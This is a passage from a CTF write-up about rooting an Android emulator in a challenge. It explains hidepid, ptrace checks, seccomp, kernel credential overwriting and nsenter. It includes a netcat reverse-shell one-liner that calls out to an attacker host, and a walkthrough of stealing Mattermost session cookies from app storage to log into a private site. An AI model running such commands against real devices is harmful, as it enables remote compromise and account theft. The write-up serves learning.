total 0
dr-x--x--x 2 root root 0 2025-09-08 04:44 .
dr-xr-xr-x 9 root root 0 2025-09-08 04:44 ..
lrwxrwxrwx 1 root root 0 2025-09-08 06:20 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root root 0 2025-09-08 04:44 mnt -> mnt:[4026533086] # <------------------
lrwxrwxrwx 1 root root 0 2025-09-08 06:20 net -> net:[4026531840]
lrwxrwxrwx 1 root root 0 2025-09-08 06:20 uts -> uts:[4026531838]

And also, /proc is mounted with the option hidepid=invisible. This option makes processes owned by other UIDs invisible, further isolating the environment. Only processes that belong to group 3009 (AID_READPROC) are allowed to view the entire /proc/.

:/ $ mount | grep hide
proc on /proc type proc (rw,relatime,gid=3009,hidepid=invisible)

This check is performed by the function proc_pid_readdir() when listing /proc entries. If has_pid_permissions() returns false, the corresponding process entry will be skipped [1].

int proc_pid_readdir(struct file *file, struct dir_context *ctx)
{
    // [...]
    for (iter = next_tgid(ns, iter);
         iter.task;
         iter.tgid += 1, iter = next_tgid(ns, iter)) {
        char name[10 + 1];
        unsigned int len;

        cond_resched();
        if (!has_pid_permissions(fs_info, iter.task, HIDEPID_INVISIBLE)) // [1]
            continue;

        // [...]
    }
}

The has_pid_permissions() function checks whether the current hidepid level is lower than the required threshold [2], which in this case is HIDEPID_INVISIBLE. It then verifies whether the current process belongs to group 3009 [3]. Finally, it attempts a ptrace access to the target process, [4] returning true if successful.

This is why a process with UID 0 may still be unable to read information about other UID 0 processes from /proc.

static bool has_pid_permissions(struct proc_fs_info *fs_info,
                 struct task_struct *task,
                 enum proc_hidepid hide_pid_min)
{
    // [...]
    if (fs_info->hide_pid == HIDEPID_NOT_PTRACEABLE)
        return ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS);

    if (fs_info->hide_pid < hide_pid_min) // [2]
        return true;
    if (in_group_p(fs_info->pid_gid)) // [3]
        return true;
    return ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS); // [4]
}

Additionally, although not directly related to privilege escalation, Android applies certain seccomp rules to untrusted applications, which means some syscalls are not allowed.

aaa@aaa:~$ adb shell cat /proc/2525/status | grep Seccomp
Seccomp:                2
Seccomp_filters:        1

You can find the actual restricted syscalls in the bionic source code. The final seccomp allowlist is derived as: SYSCALLS.TXT - SECCOMP_BLOCKLIST.TXT + SECCOMP_ALLOWLIST.TXT.

3.6.4. Bypass Them and Get Root

The capabilities are stored in struct cred, along with the UID and GID. Therefore, injecting shellcode that calls commit_creds(prepare_kernel_cred(NULL)) to reuse the cred of &init_task is sufficient.

struct cred {
    // [...]
    kuid_t uid;        /* real UID of the task */
    kgid_t gid;        /* real GID of the task */
    // [...]
    kernel_cap_t cap_inheritable;  /* caps our children can inherit */
    kernel_cap_t cap_permitted;    /* caps we're permitted */
    kernel_cap_t cap_effective;    /* caps we can actually use */
    kernel_cap_t cap_bset;         /* capability bounding set */
    kernel_cap_t cap_ambient;      /* Ambient capability set */
    // [...]
}

After this, we gain full root privileges:

:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

At this point, the entire /proc can be listed:

:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # ls -al /proc/
total 4
dr-xr-xr-x 477 root           root               0 2025-09-08 07:48 .
drwxr-xr-x  27 root           root             683 2009-01-01 00:00 ..
dr-xr-xr-x   9 root           root               0 2025-09-08 07:48 1
dr-xr-xr-x   9 root           root               0 2025-09-08 07:48 100
dr-xr-xr-x   9 root           root               0 2025-09-08 07:48 101
dr-xr-xr-x   9 root           root               0 2025-09-08 07:48 102
[...]

However, because we are still in a different mount namespace, the private data of other applications remains inaccessible:

:/ # ls -al /data/data/
total 11
drwxr-x--x  3 root    root      60 2025-09-08 07:48 .
drwxrwx--x 52 system  system  4096 2025-09-08 07:48 ..
drwx------  5 u0_a116 u0_a116 3452 2025-09-08 04:34 com.example.notabackdoor2

By executing nsenter -t 1 -m sh, we can spawn a new shell inside the mount namespace of the init process. From there, it becomes possible to view the entire /data/data directory:

:/ # nsenter -t 1 -m sh
ls -al /data/data | head -n 10
total 462
drwxrwx--x 148 system         system         20480 2025-09-08 04:32 .
drwxrwx--x  52 system         system          4096 2025-09-08 07:48 ..
drwx------   4 system         system          3452 2025-09-08 04:31 android
drwx------   4 u0_a18         u0_a18          3452 2025-09-08 04:31 android.cuttlefish.overlay
drwx------   4 u0_a17         u0_a17          3452 2025-09-08 04:31 android.cuttlefish.phone.overlay
drwx------   4 u0_a112        u0_a112         3452 2025-09-08 04:31 android.ext.services
drwx------   4 u0_a46         u0_a46          3452 2025-09-08 04:31 android.ext.shared
drwx------   4 system         system          3452 2025-09-08 04:31 com.android.DeviceAsWebcam
drwx------   4 u0_a99         u0_a99          3452 2025-09-08 04:31 com.android.adservices.api

3.6.5. Post Root

I used the following command to get a reverse shell - thanks to devil for the help with this part!

mkfifo /sdcard/Download/bruh;cat /sdcard/Download/bruh|/system/bin/sh -i 2>&1|nc $IP $PORT >/sdcard/Download/bruh

After obtaining root reverse shell, we followed the author’s hint and extracted the login cookie from /data/data/com.mattermost.rn/app_webview/Default/Cookies, which is a SQLite3 database. Inside, we found three cookies used to authenticate to a private Mattermost website:

sqlite> SELECT * FROM cookies;
13401091427226867|rbtree.ctfi.ng||MMAUTHTOKEN|||/-secret-pigeon-club-|13416643427000000|1|1|13401091427226867|1|1|1|-1|2|443|13401091427226948|3|1
13401091427227273|rbtree.ctfi.ng||MMCSRF|||/-secret-pigeon-club-|13416643427000000|1|0|13401091427227273|1|1|1|-1|2|443|13401091427227282|3|1
13401091427227233|rbtree.ctfi.ng||MMUSERID|||/-secret-pigeon-club-|13416643427000000|1|0|13401091427227233|1|1|1|-1|2|443|13401091427227248|3|1

Once logging in with these cookies, you can see the chat channel looks like this:

Just scroll up the chat, and you’ll find the pigeon’s secret :). 🕊️🕊️🕊️

4. Epilogue & Conclusion

In fact, after I patched __sys_setresuid() and failed to obtain full root, I got stuck and had no idea how to proceed. Billy, however, shared with me a private exploitation technique that also achieves full root without preparing kernel credentials — which is quite amazing! I’ll keep it a secret, since he doesn’t want it to be made public 🫢.

I believe there are still many potential methods to escalate to root. But without a solid understanding of Android’s mitigation mechanisms, one might end up relying on trial and error, which can be both time-consuming and frustrating when developing an exploit.

Anyway, I learned a lot about Android while working on this challenge and I’m happy that I managed to solve it before the CTF ended. I hope you can also learn something from this write-up. Thanks again to Billy (@st424204) and devil (d3vil)!

You can find the full exploit here.